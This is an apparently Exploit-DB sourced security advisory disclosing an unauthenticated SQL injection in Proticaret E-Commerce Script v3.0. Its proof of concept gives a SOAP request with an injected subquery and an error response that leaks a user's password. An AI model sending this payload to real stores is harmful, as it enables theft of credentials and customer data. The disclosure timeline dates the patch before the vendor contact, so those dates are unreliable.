Proticaret E-Commerce Script v3.0 >= SQL Injection

vendor:

Proticaret E-commerce Script

by:

BGA Security Team

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Proticaret E-commerce Script

Affected Version From: v3.0

Affected Version To: v3.0

Patch Exists: YES

Related CWE: N/A

CPE: a:promist_bilgi_iletisim_teknolojileri_a.s:proticaret_e-commerce_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Remote, Unauthenticated

2014

Proticaret E-Commerce Script v3.0 >= SQL Injection

BGA Security Team discovered an SQL injection vulnerability in Proticaret E-Commerce Script v3.0. The vulnerability is remotely exploitable and allows an attacker to gain access to the database of the application. The vulnerability is caused due to the application not properly sanitizing user-supplied input before using it in an SQL query. An attacker can exploit this vulnerability by sending a specially crafted SQL query to the application. This will allow the attacker to gain access to the database of the application.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the application.

Source

Exploit-DB raw data:

Document Title:
============
Proticaret E-Commerce Script v3.0 >= SQL Injection

Release Date:
===========
13 Nov 2014

Product & Service Introduction:
========================
Proticaret is a free e-commerce script.

Abstract Advisory Information:
=======================
BGA Security Team discovered an SQL injection vulnerability in Proticaret E-Commerce Script v3.0

Vulnerability Disclosure Timeline:
=========================
20 Oct 2014    :    Contact with Vendor
20 Nov 2014    :    Vendor Response
June 26, 2014 :    Patch Released
13 Nov 2014    :    Public Disclosure

Discovery Status:
=============
Published

Affected Product(s):
===============
Promist Bilgi İletişim Teknolojileri A.Ş
Product: Proticaret E-commerce Script v3.0 >=

Exploitation Technique:
==================
Remote, Unauthenticated


Severity Level:
===========
Critical

Technical Details & Description:
========================
SQL Injection

Proof of Concept (PoC):
==================
Proof of Concept

Request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
  <soapenv:Header/>
  <soapenv:Body>
     <tem:GetProductCodes>
        <!--Optional:-->
        <tem:Code>1' from Users where (select top 1 password from users where userId=101)>1-    -</tem:Code>
        <!--Optional:-->
        <tem:StartWith>?</tem:StartWith>
     </tem:GetProductCodes>
  </soapenv:Body>
</soapenv:Envelope>

Response:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
     <soap:Fault>
        <faultcode>soap:Server</faultcode>

<faultstring>System.Web.Services.Protocols.SoapException: Server 
was unable to process request. ---> 
System.Data.SqlClient.SqlException: Conversion failed when converting 
the nvarchar value 'secretpassword' to data type int.
  at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)

at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException 
exception, Boolean breakConnection, Action`1 wrapCloseInAction)
  at

System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
  at
System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, 
SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet
bulkCopyHandler, TdsParserStateObject stateObj, Boolean& 
dataReady)
  at System.Data.SqlClient.SqlDataReader.TryHasMoreRows(Boolean& moreRows)
  at System.Data.SqlClient.SqlDataReader.TryReadInternal(Boolean setTimeout, Boolean& more)
  at System.Data.SqlClient.SqlDataReader.Read()
  at ASPNetPortal.ProductService.GetProductCodes(String Code, String StartWith)
  --- End of inner exception stack trace ---</faultstring>
        <detail/>
     </soap:Fault>
  </soap:Body>
</soap:Envelope>


Solution Fix & Patch:
================
Apply the patch for v3.0

Security Risk:
==========
The risk of the vulnerabilities above estimated as critical.

Credits & Authors:
==============
Bilgi Güvenliği Akademisi

Disclaimer & Information:
===================
The
information provided in this advisory is provided as it is without any 
warranty. BGA disclaims all  warranties, either expressed or implied, 
including the warranties of merchantability and capability for a 
particular purpose. BGA or its suppliers are not liable in any case of 
damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages.

Domain:    www.bga.com.tr
Social:        twitter.com/bgasecurity
Contact:    bilgi@bga.com.tr

Copyright © 2014 | BGA